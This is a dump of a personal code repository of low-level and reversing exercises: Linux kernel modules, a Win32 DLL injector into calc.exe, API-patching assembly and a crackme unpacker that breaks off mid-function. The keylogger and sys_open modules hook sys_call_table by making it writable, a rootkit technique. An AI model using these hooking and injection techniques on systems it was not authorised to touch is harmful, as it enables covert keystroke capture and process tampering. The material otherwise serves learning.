68 | fi 69 | 70 | DISK1_SYS_SIZE=$(cat /sys/block/$DEVICE_NAME/$DEVICE_NAME"1"/size) 71 | DISK1_BYTE_SIZE=$(($DISK1_SYS_SIZE*512)) 72 | DISK1_SIZE=$(($DISK1_BYTE_SIZE/(1024*1024))) 73 | 74 | DISK2_SYS_SIZE=$(cat /sys/block/$DEVICE_NAME/$DEVICE_NAME"2"/size) 75 | DISK2_BYTE_SIZE=$(($DISK2_SYS_SIZE*512)) 76 | DISK2_SIZE=$(($DISK2_BYTE_SIZE/(1024*1024))) 77 | 78 | IMAGE_DIR=$IMAGES_DIR"/"$1 79 | IMAGE_MBR_IMG=$IMAGE_DIR"/mbr.img" 80 | IMAGE_MBR_SF=$IMAGE_DIR"/mbr.sf" 81 | IMAGE_DISK1=$IMAGE_DIR"/part1.img" 82 | IMAGE_DISK2=$IMAGE_DIR"/part2.img" 83 | 84 | if [ -d $IMAGE_DIR ]; then 85 | echo "image \"$1\" probably already exists" 86 | exit 1 87 | fi 88 | 89 | mkdir $IMAGE_DIR 90 | 91 | echo "" 92 | 93 | echo "backing up MBR" 94 | echo "-------------------------------------------" 95 | echo "" 96 | 97 | dd if=$DEVICE_PATH 2> /dev/null of=$IMAGE_MBR_IMG bs=512 count=1 2> /dev/null 98 | sfdisk -d $DEVICE_PATH > $IMAGE_MBR_SF 2> /dev/null 99 | 100 | echo "" 101 | 102 | echo "backing up $DISK1 ("$DISK1_SIZE" MB)" 103 | echo "-------------------------------------------" 104 | echo "" 105 | 106 | dd if=$DISK1 2> /dev/null | pv -tpreb -s $DISK1_SIZE"M" | dd of=$IMAGE_DISK1 2> /dev/null 107 | 108 | echo "" 109 | 110 | echo "backing up $DISK2 ("$DISK2_SIZE" MB)" 111 | echo "-------------------------------------------" 112 | echo "" 113 | 114 | dd if=$DISK2 2> /dev/null | pv -tpreb -s $DISK2_SIZE"M" | dd of=$IMAGE_DISK2 2> /dev/null 115 | 116 | echo "" 117 | 118 | echo "-------------------------------------------" 119 | echo "" 120 | echo "image made ok" 121 | echo "" 122 | 123 | -------------------------------------------------------------------------------- /linux/idt/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -Wall -g 3 | 4 | all: idt 5 | 6 | idt: 7 | $(CC) $(CFLAGS) idt.c -o idt 8 | 9 | clean: 10 | rm idt -------------------------------------------------------------------------------- /linux/idt/README: -------------------------------------------------------------------------------- 1 | === idt 2 | 3 | WARN: CONFIG_STRICT_DEVMEM must not be set in /usr/src/linux/.config 4 | 5 | $ grep DEVMEM /usr/src/linux/.config 6 | 7 | Don't use 8 | 9 | __asm__ volatile("sidt %0" : "=m"(idtr)); 10 | 11 | for IDT address, just for the limit since I am on a VM. 12 | 13 | "Reading the IDTR will unfortunately not work inside most 14 | virtual machines. Because the lidt instruction is a protected 15 | instruction, an exception will be generated that the VM will catch. 16 | This allows the VM to keep a virtual IDTR for each operating system. 17 | Since the sidt instruction is not handled, it will return a bogus address 18 | for the IDTR, usually above 0xffc00000. [1]" 19 | 20 | Rather set IDT address manually from /boot/System.map* 21 | and set the idtr limit to 0x7ff. 22 | 23 | $ grep idt_table /boot/System.map* 24 | 25 | [1] http://www.blackhat.com/presentations/bh-europe-09/Lineberry/BlackHat-Europe-2009-Lineberry-code-injection-via-dev-mem.pdf -------------------------------------------------------------------------------- /linux/idt/idt.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define KERN_START 0xc0000000 9 | 10 | static int fd; 11 | static unsigned long syscall_handler; 12 | 13 | struct idtr { 14 | uint16_t limit; 15 | uint32_t base; 16 | } __attribute__((packed)); 17 | 18 | struct idt_entry { 19 | uint16_t lo; 20 | uint16_t css; 21 | uint16_t flags; 22 | uint16_t hi; 23 | } __attribute__((packed)); 24 | 25 | int read_virt(unsigned long addr, void *buf, unsigned int len) 26 | { 27 | addr -= KERN_START; 28 | assert(lseek(fd, addr, SEEK_SET) == addr); 29 | return read(fd, buf, len); 30 | } 31 | 32 | int main(int argc, char **argv) 33 | { 34 | fd = open("/dev/mem", O_RDWR); 35 | struct idtr idtr; 36 | struct idt_entry idt; 37 | 38 | assert(fd >= 0); 39 | 40 | __asm__ volatile("sidt %0" : "=m"(idtr)); 41 | idtr.base = 0xc060d000; 42 | 43 | printf("idtr.base 0x%x(phys)\nidtr.limit 0x%x\n", idtr.base-KERN_START, idtr.limit); 44 | 45 | assert(read_virt(idtr.base+sizeof(struct idt_entry)*0x80, &idt, sizeof(struct idt_entry)) == sizeof(struct idt_entry)); 46 | syscall_handler = (idt.hi<<16)|idt.lo; 47 | 48 | printf("idt.lo 0x%x\n", idt.lo); 49 | printf("idt.css 0x%x\n", idt.css); 50 | printf("idt.flags 0x%x\n", idt.flags); 51 | printf("idt.hi 0x%x\n", idt.hi); 52 | printf("syscall_handler 0x%x(+ KERN_START 0x%x)\n", syscall_handler, KERN_START); 53 | 54 | close(fd); 55 | return 0; 56 | } -------------------------------------------------------------------------------- /linux/kernel-modules/README: -------------------------------------------------------------------------------- 1 | === linux lkm 2 | 3 | a collection of my kernel modules 4 | 5 | print out kernel symbols 6 | ------------------------ 7 | 8 | $ cat /boot/System.map* 9 | 10 | disasm kernel function, symbol 11 | ------------------------------ 12 | 13 | $ localhost ~ # gdb -q /usr/src/linux/vmlinux 14 | Reading symbols from /usr/src/linux-3.10.17-gentoo/vmlinux...(no debugging symbols found)...done. 15 | (gdb) disas system_call 16 | Dump of assembler code for function system_call: 17 | 0xc048b410 <+0>: lea esi,[esi+0x0] 18 | 0xc048b413 <+3>: push eax 19 | 0xc048b414 <+4>: cld 20 | 0xc048b415 <+5>: push 0x0 21 | 0xc048b417 <+7>: push fs 22 | 0xc048b419 <+9>: push es 23 | 0xc048b41a <+10>: push ds 24 | 0xc048b41b <+11>: push eax 25 | 0xc048b41c <+12>: push ebp 26 | 0xc048b41d <+13>: push edi 27 | 0xc048b41e <+14>: push esi 28 | 0xc048b41f <+15>: push edx 29 | 0xc048b420 <+16>: push ecx 30 | 0xc048b421 <+17>: push ebx 31 | 0xc048b422 <+18>: mov edx,0x7b 32 | 0xc048b427 <+23>: mov ds,edx 33 | 0xc048b429 <+25>: mov es,edx 34 | 0xc048b42b <+27>: mov edx,0xd8 35 | 0xc048b430 <+32>: mov fs,edx 36 | 0xc048b432 <+34>: mov ebp,0xffffe000 37 | 0xc048b437 <+39>: and ebp,esp 38 | 0xc048b439 <+41>: test DWORD PTR [ebp+0x8],0x100801d1 39 | 0xc048b440 <+48>: jne 0xc048b51c 40 | 0xc048b446 <+54>: cmp eax,0x15f 41 | 0xc048b44b <+59>: jae 0xc048b568 42 | 0xc048b451 <+65>: call DWORD PTR [eax*4-0x3fb6ceb8] 43 | 0xc048b458 <+72>: mov DWORD PTR [esp+0x18],eax 44 | 0xc048b45c <+0>: cli 45 | 0xc048b45d <+1>: mov ecx,DWORD PTR [ebp+0x8] 46 | 0xc048b460 <+4>: test ecx,0x1008feff 47 | 0xc048b466 <+10>: jne 0xc048b53c 48 | 0xc048b46c <+0>: mov eax,DWORD PTR [esp+0x38] 49 | 0xc048b470 <+4>: mov ah,BYTE PTR [esp+0x40] 50 | 0xc048b474 <+8>: mov al,BYTE PTR [esp+0x34] 51 | 0xc048b478 <+12>: and eax,0x20403 52 | 0xc048b47d <+17>: cmp eax,0x403 53 | 0xc048b482 <+22>: je 0xc048b493 54 | 0xc048b484 <+0>: pop ebx 55 | 0xc048b485 <+1>: pop ecx 56 | 0xc048b486 <+2>: pop edx 57 | 0xc048b487 <+3>: pop esi 58 | 0xc048b488 <+4>: pop edi 59 | 0xc048b489 <+5>: pop ebp 60 | 0xc048b48a <+6>: pop eax 61 | 0xc048b48b <+7>: pop ds -------------------------------------------------------------------------------- /linux/kernel-modules/hello_world/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += hello_world.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -------------------------------------------------------------------------------- /linux/kernel-modules/hello_world/README: -------------------------------------------------------------------------------- 1 | === hello world lkm 2 | 3 | A simple hello world kernel module. 4 | 5 | $ localhost hello_world # dmesg 6 | [ 764.377972] Hello World! -------------------------------------------------------------------------------- /linux/kernel-modules/hello_world/hello_world.c: -------------------------------------------------------------------------------- 1 | #include // Included for all kernel modules 2 | #include // Included for KERN_INFO 3 | #include // Included for __init and __exit macros 4 | 5 | MODULE_LICENSE("GPL"); 6 | MODULE_AUTHOR("Michal Malik"); 7 | MODULE_DESCRIPTION("A simple Hello World kernel module"); 8 | 9 | static int __init hello_init(void) 10 | { 11 | printk(KERN_INFO "Hello World!\n"); 12 | return 0; 13 | } 14 | 15 | static void __exit hello_cleanup(void) 16 | { 17 | printk(KERN_INFO "Cleaning up Hello World module.\n"); 18 | } 19 | 20 | module_init(hello_init); 21 | module_exit(hello_cleanup); -------------------------------------------------------------------------------- /linux/kernel-modules/hook_open/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += hook_open.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -------------------------------------------------------------------------------- /linux/kernel-modules/hook_open/README: -------------------------------------------------------------------------------- 1 | === hook_sys_open lkm 2 | 3 | $ localhost hook_open # dmesg 4 | [ 501.497061] [hook sys_open] "/lib/libc.so.6" 5 | [ 501.497201] [hook sys_open] "/usr/lib/locale/locale-archive" 6 | [ 501.497350] [hook sys_open] "/dev/kmsg" 7 | [ 514.519654] [hook sys_open] "/usr/lib/gconv/gconv-modules.cache" 8 | [ 514.519699] [hook sys_open] "/etc/ld.so.cache" 9 | [ 514.520283] [hook sys_open] "/lib/libc.so.6" 10 | [ 514.520409] [hook sys_open] "/usr/lib/locale/locale-archive" 11 | [ 532.631393] [hook sys_open] "hook_open.c" 12 | [ 532.631443] [hook sys_open] "/etc/ld.so.cache" 13 | [ 532.631561] [hook sys_open] "/lib/librt.so.1" 14 | [ 532.631628] [hook sys_open] "/lib/libacl.so.1" 15 | [ 532.631712] [hook sys_open] "/lib/libc.so.6" 16 | [ 532.631784] [hook sys_open] "/lib/libpthread.so.0" 17 | [ 532.632660] [hook sys_open] "/lib/libattr.so.1" 18 | [ 538.863692] [hook sys_open] "/usr/lib/locale/locale-archive" 19 | [ 538.863748] [hook sys_open] "/etc/ld.so.cache" 20 | [ 538.864507] [hook sys_open] "/lib/libc.so.6" 21 | [ 538.864658] [hook sys_open] "/usr/lib/locale/locale-archive" 22 | [ 543.432044] [hook sys_open] "dmesg" 23 | [ 543.432134] [hook sys_open] "/etc/ld.so.cache" 24 | [ 543.432811] [hook sys_open] "/lib/libc.so.6" 25 | [ 543.432936] [hook sys_open] "/usr/lib/locale/locale-archive" 26 | [ 543.433131] [hook sys_open] "/dev/kmsg" -------------------------------------------------------------------------------- /linux/kernel-modules/hook_open/hook_open.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("Michal Malik"); 11 | MODULE_DESCRIPTION("Hook sys_open syscall"); 12 | 13 | static void **sys_call_table; 14 | static const unsigned long sys_call_addr = 0xc0493148; 15 | 16 | asmlinkage int (*original_call)(const char *, int, int); 17 | 18 | asmlinkage int our_sys_open(const char *file, int flags, int mode) 19 | { 20 | printk(KERN_INFO "[hook sys_open] \"%s\"", file); 21 | return original_call(file, flags, mode); 22 | } 23 | 24 | static int make_rw(unsigned long address) 25 | { 26 | unsigned int level; 27 | pte_t *pte = lookup_address(address, &level); 28 | 29 | if(pte->pte & ~_PAGE_RW) 30 | pte->pte |= _PAGE_RW; 31 | 32 | return 0; 33 | } 34 | 35 | static int make_ro(unsigned long address) 36 | { 37 | unsigned int level; 38 | pte_t *pte = lookup_address(address, &level); 39 | pte->pte = pte->pte & ~_PAGE_RW; 40 | 41 | return 0; 42 | } 43 | 44 | static int __init hook_init(void) 45 | { 46 | sys_call_table = (void *)sys_call_addr; 47 | original_call = sys_call_table[__NR_open]; 48 | make_rw((unsigned long)sys_call_table); 49 | sys_call_table[__NR_open] = our_sys_open; 50 | 51 | return 0; 52 | } 53 | 54 | static void __exit hook_cleanup(void) 55 | { 56 | sys_call_table[__NR_open] = original_call; 57 | make_ro((unsigned long)(sys_call_table)); 58 | } 59 | 60 | module_init(hook_init); 61 | module_exit(hook_cleanup); -------------------------------------------------------------------------------- /linux/kernel-modules/keylogger/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += keylogger.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -------------------------------------------------------------------------------- /linux/kernel-modules/keylogger/README: -------------------------------------------------------------------------------- 1 | ### keylogger lkm 2 | 3 | $ localhost keylogger # Hello World 4 | $ localhost keylogger # dmesg 5 | [ 3209.175206] [keylogger] 0x48 6 | [ 3209.375237] [keylogger] 0x65 7 | [ 3209.487548] [keylogger] 0x6c 8 | [ 3209.615432] [keylogger] 0x6c 9 | [ 3209.743776] [keylogger] 0x6f 10 | [ 3209.863008] [keylogger] 0x20 11 | [ 3209.966637] [keylogger] 0x57 12 | [ 3210.038583] [keylogger] 0x6f 13 | [ 3210.119926] [keylogger] 0x72 14 | [ 3210.231516] [keylogger] 0x6c 15 | [ 3210.327078] [keylogger] 0x64 16 | [ 3210.567275] [keylogger] 0x0d 17 | [ 3210.895666] [keylogger] 0x64 18 | [ 3210.999353] [keylogger] 0x6d 19 | [ 3211.079596] [keylogger] 0x65 20 | [ 3211.143506] [keylogger] 0x73 21 | [ 3211.271891] [keylogger] 0x67 22 | [ 3211.392087] [keylogger] 0x0d -------------------------------------------------------------------------------- /linux/kernel-modules/keylogger/keylogger.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("Michal Malik"); 11 | MODULE_DESCRIPTION("Keylogger"); 12 | 13 | static void **sys_call_table; 14 | /* 15 | grep sys_call_table /boot/System* 16 | */ 17 | static const unsigned long sys_call_addr = 0xc0493148; 18 | 19 | asmlinkage int (*original_read)(int, char *, long); 20 | 21 | asmlinkage long hook_read(int fd, char *buf, long count) 22 | { 23 | long c = original_read(fd, buf, count); 24 | 25 | if(fd == 0 && count == 1) 26 | printk(KERN_INFO "[keylogger] 0x%02x", buf[0]); 27 | 28 | return c; 29 | } 30 | 31 | static int make_rw(unsigned long address) 32 | { 33 | unsigned int level; 34 | pte_t *pte = lookup_address(address, &level); 35 | 36 | if(pte->pte & ~_PAGE_RW) 37 | pte->pte |= _PAGE_RW; 38 | 39 | return 0; 40 | } 41 | 42 | static int make_ro(unsigned long address) 43 | { 44 | unsigned int level; 45 | pte_t *pte = lookup_address(address, &level); 46 | pte->pte = pte->pte & ~_PAGE_RW; 47 | 48 | return 0; 49 | } 50 | 51 | static int __init hook_init(void) 52 | { 53 | sys_call_table = (void *)sys_call_addr; 54 | original_read = sys_call_table[__NR_read]; 55 | make_rw((unsigned long)sys_call_table); 56 | sys_call_table[__NR_read] = hook_read; 57 | 58 | return 0; 59 | } 60 | 61 | static void __exit hook_cleanup(void) 62 | { 63 | sys_call_table[__NR_read] = original_read; 64 | make_ro((unsigned long)(sys_call_table)); 65 | } 66 | 67 | module_init(hook_init); 68 | module_exit(hook_cleanup); -------------------------------------------------------------------------------- /win32/asm/README: -------------------------------------------------------------------------------- 1 | === win32 asm 2 | 3 | I used fasm [1], which is an excellent multiplatform assembler. 4 | 5 | [1] http://flatassembler.net/ -------------------------------------------------------------------------------- /win32/asm/hello_world.asm: -------------------------------------------------------------------------------- 1 | format PE GUI 2 | entry start 3 | 4 | include 'macro/import32.inc' 5 | 6 | section '.text' code readable executable 7 | 8 | start: 9 | mov eax, caption 10 | mov ebx, message 11 | 12 | push 0 13 | push caption 14 | push message 15 | push 0 16 | call [MessageBox] 17 | 18 | push 0 19 | call [ExitProcess] 20 | 21 | section '.data' code readable writeable 22 | 23 | message db "Generic window text",0 24 | caption db "Generic window title",0 25 | 26 | section '.idata' import data readable 27 | 28 | library kernel32,'KERNEL32.DLL',\ 29 | user32,'USER32.DLL' 30 | 31 | import kernel32,\ 32 | ExitProcess, 'ExitProcess' 33 | 34 | import user32,\ 35 | MessageBox, 'MessageBoxA' 36 | 37 | section '.reloc' fixups data readable discardable -------------------------------------------------------------------------------- /win32/asm/patch_api.asm: -------------------------------------------------------------------------------- 1 | format PE GUI 2 | entry start 3 | 4 | include 'macro/import32.inc' 5 | 6 | section '.text' code readable writeable executable 7 | 8 | start: 9 | jmp patch 10 | 11 | org_msgbox: 12 | 13 | push 0 14 | push org_caption 15 | push org_message 16 | push 0 17 | call [MessageBox] 18 | 19 | exit: 20 | 21 | push 0 22 | call [ExitProcess] 23 | 24 | section '.dvrnd' code readable executable 25 | 26 | patch: 27 | mov esi,dword [MessageBox] 28 | mov dword [mb_copy],esi 29 | mov dword [MessageBox],ptc_msgbox 30 | 31 | jmp org_msgbox 32 | 33 | ptc_msgbox: 34 | 35 | push 0 36 | push ptc_caption 37 | push ptc_message 38 | push 0 39 | call [mb_copy] 40 | 41 | jmp exit 42 | 43 | section '.data' data readable writeable 44 | 45 | org_caption db 'Original caption',0 46 | org_message db 'Original message',0 47 | ptc_caption db 'Patched caption',0 48 | ptc_message db 'Patched message',0 49 | 50 | mb_copy dd 0 51 | 52 | section '.import' import readable writeable 53 | 54 | library kernel32, 'KERNEL32.DLL',\ 55 | user32, 'USER32.DLL' 56 | 57 | import kernel32,\ 58 | ExitProcess, 'ExitProcess' 59 | 60 | import user32,\ 61 | MessageBox, 'MessageBoxA' -------------------------------------------------------------------------------- /win32/asm/patch_api_createthread.asm: -------------------------------------------------------------------------------- 1 | format PE GUI 2 | entry start 3 | 4 | include 'macro/import32.inc' 5 | include 'macro/proc32.inc' 6 | 7 | section '.text' code readable writeable executable 8 | 9 | start: 10 | push [tid] 11 | push 0 12 | push 0 13 | push fnThread 14 | push 0 15 | push 0 16 | call [CreateThread] 17 | push eax 18 | 19 | push 1 20 | call [Sleep] 21 | 22 | pop eax 23 | push 1 24 | push eax 25 | call [WaitForSingleObject] 26 | 27 | push 0 28 | push org_caption 29 | push org_message 30 | push 0 31 | call [MessageBox] 32 | exit: 33 | push 0 34 | call [ExitProcess] 35 | 36 | proc fnThread 37 | mov esi,dword [MessageBox] 38 | mov dword [mb_copy],esi 39 | mov dword [MessageBox],patchAPI 40 | 41 | push 0 42 | call [ExitThread] 43 | 44 | ret 45 | endp 46 | 47 | proc patchAPI 48 | push 0 49 | push ptc_caption 50 | push ptc_message 51 | push 0 52 | call [mb_copy] 53 | ret 54 | endp 55 | 56 | section '.data' data readable writeable 57 | 58 | org_caption db 'Original caption',0 59 | org_message db 'Original message',0 60 | ptc_caption db 'Patched caption',0 61 | ptc_message db 'Patched message',0 62 | 63 | mb_copy dd 0 64 | tid dd ? 65 | 66 | section '.import' import readable writeable 67 | 68 | library kernel32, 'KERNEL32.DLL',\ 69 | user32, 'USER32.DLL' 70 | 71 | import kernel32,\ 72 | CreateThread, 'CreateThread',\ 73 | ExitThread, 'ExitThread',\ 74 | ExitProcess, 'ExitProcess',\ 75 | Sleep, 'Sleep',\ 76 | WaitForSingleObject, 'WaitForSingleObject' 77 | 78 | import user32,\ 79 | MessageBox, 'MessageBoxA' -------------------------------------------------------------------------------- /win32/calc_injector/README: -------------------------------------------------------------------------------- 1 | === calculator injector 2 | 3 | This is just a demonstration of Win32 DLL injection to a process. 4 | 5 | First, we create the calc process by CreateProcess("C:\Windows\system32\calc.exe",..), then 6 | we allocate RW memory of size strlen(dll_name) in the calc process with VirtualAllocEx(). 7 | WriteProcessMemory() writes the string to the allocated memory. CreateRemoteThread() is executed 8 | at LoadLibraryA kernel API and loads the DLL. 9 | 10 | $ D:\_WORK\dev>inject.exe 11 | [OK] CreateProcess C:\Windows\System32\calc.exe 12 | [OK] VirtualAllocEx to 0x00080000 13 | [OK] WriteProcessMememory to 0x00080000 :: "inject.dll",10 14 | [OK] CreateRemoteThread at 0x00080000 :: LoadLibrary("inject.dll") 15 | $ D:\_WORK\dev> -------------------------------------------------------------------------------- /win32/calc_injector/inject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define FAULT() { \ 5 | printf("Error: %d\n", GetLastError()); \ 6 | CloseHandle(hProcess); \ 7 | return -1; \ 8 | } 9 | 10 | int main(int argc, char **argv) 11 | { 12 | LPSTR executable = "C:\\Windows\\System32\\calc.exe"; 13 | LPSTR injectDll = "inject.dll"; 14 | 15 | STARTUPINFO SI = {0}; 16 | PROCESS_INFORMATION PI = {0}; 17 | HANDLE hProcess; 18 | DWORD pid; 19 | DWORD threadID; 20 | LPVOID injectAddr; 21 | DWORD lpNumOfWritten; 22 | HMODULE hKernel32; 23 | FARPROC hLoadLibrary; 24 | 25 | SI.dwFlags = 1; 26 | SI.wShowWindow = 0; 27 | SI.cb = sizeof(SI); 28 | 29 | if(CreateProcess(executable, NULL, NULL, NULL, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &SI, &PI)) { 30 | printf("[OK] CreateProcess %s\n", executable); 31 | } else 32 | FAULT(); 33 | 34 | pid = PI.dwProcessId; 35 | hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 36 | 37 | injectAddr = VirtualAllocEx(hProcess, NULL, strlen(injectDll), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); 38 | 39 | if(injectAddr == NULL) 40 | FAULT(); 41 | 42 | printf("[OK] VirtualAllocEx to 0x%08X\n", (int *)injectAddr); 43 | 44 | if(WriteProcessMemory(hProcess, injectAddr, injectDll, strlen(injectDll), &lpNumOfWritten) == 0) 45 | FAULT(); 46 | 47 | printf("[OK] WriteProcessMememory to 0x%08X :: \"%s\",%d\n", (int *)injectAddr, injectDll, strlen(injectDll)); 48 | 49 | hKernel32 = GetModuleHandle("kernel32.dll"); 50 | hLoadLibrary = (FARPROC)GetProcAddress(hKernel32, "LoadLibraryA"); 51 | 52 | Sleep(2000); 53 | 54 | if(CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)hLoadLibrary, injectAddr, NULL, &threadID) == NULL) 55 | FAULT(); 56 | 57 | printf("[OK] CreateRemoteThread at 0x%08X :: LoadLibrary(\"%s\")\n", (int *)injectAddr, injectDll); 58 | 59 | getchar(); 60 | return 0; 61 | } -------------------------------------------------------------------------------- /win32/calc_injector/inject_dll.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | BOOL WINAPI DllMain( 4 | __in HINSTANCE hInstance, 5 | __in DWORD fdwReason, 6 | __in LPVOID lpvReserved) 7 | { 8 | switch(fdwReason) { 9 | case DLL_PROCESS_ATTACH: { 10 | MessageBox(NULL, TEXT("Hello reversers!"), TEXT("Greetings"), MB_OK); 11 | } break; 12 | case DLL_PROCESS_DETACH: break; 13 | case DLL_THREAD_ATTACH: break; 14 | case DLL_THREAD_DETACH: break; 15 | } 16 | 17 | return 0; 18 | } -------------------------------------------------------------------------------- /win32/mucki_unpacker/README: -------------------------------------------------------------------------------- 1 | === mucki protector unpacker 2 | 3 | unpacker for http://crackmes.de/users/mucki/muckis_protector/ 4 | 5 | raw offset = rva - section virtual address + section raw offset 6 | rva = raw offset + section virtual address - section raw offset -------------------------------------------------------------------------------- /win32/mucki_unpacker/unpacker.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /* 6 | 7 | https://github.com/Cr4sh/SimpleUnpacker/blob/master/SimpleUnpacker/SimpleUnpacker.cpp 8 | 9 | raw offset = rva - section virtual address + section raw offset 10 | rva = raw offset + section virtual address - section raw offset 11 | */ 12 | 13 | void dump(const unsigned char *data_buffer, const unsigned int length) 14 | { 15 | unsigned char byte; 16 | unsigned int i, j; 17 | for(i=0; i < length; i++) { 18 | byte = data_buffer[i]; 19 | printf("%02x ", data_buffer[i]); 20 | if(((i%16)==15) || (i==length-1)) { 21 | for(j=0; j < 15-(i%16); j++) 22 | printf(" "); 23 | printf("| "); 24 | for(j=(i-(i%16)); j <= i; j++) { 25 | byte = data_buffer[j]; 26 | if((byte > 31) && (byte < 127)) 27 | printf("%c", byte); 28 | else 29 | printf("."); 30 | } 31 | printf("\n"); 32 | } 33 | } 34 | } 35 | 36 | IMAGE_SECTION_HEADER FindRVASection(IMAGE_SECTION_HEADER *sections, DWORD numOfSections, DWORD rva) 37 | { 38 | int i; 39 | for(i = 0; i < numOfSections; i++) { 40 | DWORD sectionVA = sections[i].VirtualAddress; 41 | DWORD sectionVSize = sections[i].Misc.VirtualSize; 42 | if(rva <= sectionVA+sectionVSize && rva >= sectionVA) { 43 | return sections[i]; 44 | } 45 | } 46 | } 47 | 48 | // Calculate raw (file) offset from RVA relative to the section 49 | // it belongs to 50 | DWORD RVAtoRO(IMAGE_SECTION_HEADER RVASection, DWORD rva) 51 | { 52 | return rva-RVASection.VirtualAddress+RVASection.PointerToRawData; 53 | } 54 | 55 | // Calculate RVA from raw offset and the section it belongs to 56 | DWORD ROtoRVA(IMAGE_SECTION_HEADER RVASection, DWORD ro) 57 | { 58 | return ro+RVASection.VirtualAddress-RVASection.PointerToRawData; 59 | } 60 | 61 | // Calculate RVA from VA 62 | // Assuming ImageBase = 0x400000 63 | DWORD VAtoRVA(DWORD va) 64 | { 65 | return va-0x400000; 66 | } 67 | 68 | // Calculate VA from RVA 69 | // ASsuming ImageBase = 0x400000 70 | DWORD RVAtoVA(DWORD rva) 71 | { 72 | return rva+0x400000; 73 | } 74 | 75 | // Convert num of bytes in little endian to dword (4 byte) 76 | DWORD LittleEndianToDWORD(BYTE *bytes, DWORD size) 77 | { 78 | DWORD ret = 0; 79 | BYTE c = 0; 80 | int i; 81 | for(i = 0; i < size; i++) { 82 | c = bytes[i]; 83 | ret |= c<<(i*8); 84 | } 85 | return ret; 86 | } 87 | 88 | DWORD htoi(BYTE *str) 89 | { 90 | DWORD n = 0, t = 0; 91 | while(*str != '\0') { 92 | if(*str >= 'A' && *str <= 'F') { 93 | t = *str-'A'+10; 94 | } else if(*str >= 'a' && *str <= 'f') { 95 | t = *str-'a'+10; 96 | } else { 97 | t = *str-'0'; 98 | } 99 | n = (n<<4)+t; 100 | *str++; 101 | } 102 | return n; 103 | } 104 | 105 | int main(int argc, char **argv) 106 | { 107 | if(argc < 2) { 108 | printf("Usage: %s ", argv[0]); 109 | exit(1); 110 | } 111 | 112 | HANDLE hFile = CreateFile(argv[1], GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); 113 | 114 | if(hFile == INVALID_HANDLE_VALUE) { 115 | printf("File doesn't exist or cannot be opened"); 116 | exit(1); 117 | } 118 | 119 | IMAGE_DOS_HEADER DOSHeader; 120 | IMAGE_NT_HEADERS NTHeader; 121 | IMAGE_FILE_HEADER FileHeader; 122 | IMAGE_OPTIONAL_HEADER64 OptionalHeader; 123 | // IMAGE_OPTIONAL_HEADER32 OptionalHeader; 124 | DWORD NTHeaderSize; 125 | 126 | DWORD bytesRead; 127 | DWORD bytesWritten; 128 | int i; 129 | 130 | // Read DOS Header 131 | ReadFile(hFile, &DOSHeader, sizeof(IMAGE_DOS_HEADER), &bytesRead, NULL); 132 | 133 | // Read NT Header 134 | SetFilePointer(hFile, DOSHeader.e_lfanew, FILE_BEGIN, 0); 135 | ReadFile(hFile, &NTHeader, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL); 136 | 137 | FileHeader = NTHeader.FileHeader; 138 | OptionalHeader = NTHeader.OptionalHeader; 139 | 140 | // Size of NTHeader differs between 32-bit and 64-bit machines 141 | if(FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { 142 | NTHeaderSize = sizeof(NTHeader)-sizeof(OptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32); 143 | } else if(FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) { 144 | NTHeaderSize = sizeof(NTHeader); 145 | } 146 | 147 | DWORD numOfSections = FileHeader.NumberOfSections; 148 | DWORD fileAlignment = OptionalHeader.FileAlignment; 149 | 150 | // Load sections into an array of IMAGE_SECTION_HEADER 151 | IMAGE_SECTION_HEADER sections[ numOfSections ]; 152 | IMAGE_SECTION_HEADER section; 153 | for(i = 0; i < numOfSections; i++) { 154 | SetFilePointer(hFile, DOSHeader.e_lfanew+NTHeaderSize+i*sizeof(IMAGE_SECTION_HEADER), FILE_BEGIN, 0); 155 | ReadFile(hFile, §ion, sizeof(IMAGE_SECTION_HEADER), &bytesRead, NULL); 156 | sections[i] = section; 157 | } 158 | 159 | DWORD entryPoint = OptionalHeader.AddressOfEntryPoint; 160 | IMAGE_SECTION_HEADER entryPointSection = FindRVASection(sections, numOfSections, entryPoint); 161 | DWORD entryPointRO = RVAtoRO(entryPointSection, entryPoint); 162 | 163 | printf("Entry point RVA: 0x%08X\n", entryPoint); 164 | printf("Entry point file offset: 0x%08X\n", entryPointRO); 165 | 166 | // Read packer decryption routine 167 | BYTE decryptRoutine[24] = {0,}; 168 | SetFilePointer(hFile, entryPointRO, FILE_BEGIN, 0); 169 | ReadFile(hFile, decryptRoutine, sizeof(decryptRoutine), &bytesRead, NULL); 170 | 171 | printf("Dumping decryption routine..\n"); 172 | dump((char *)decryptRoutine, 24); 173 | 174 | // 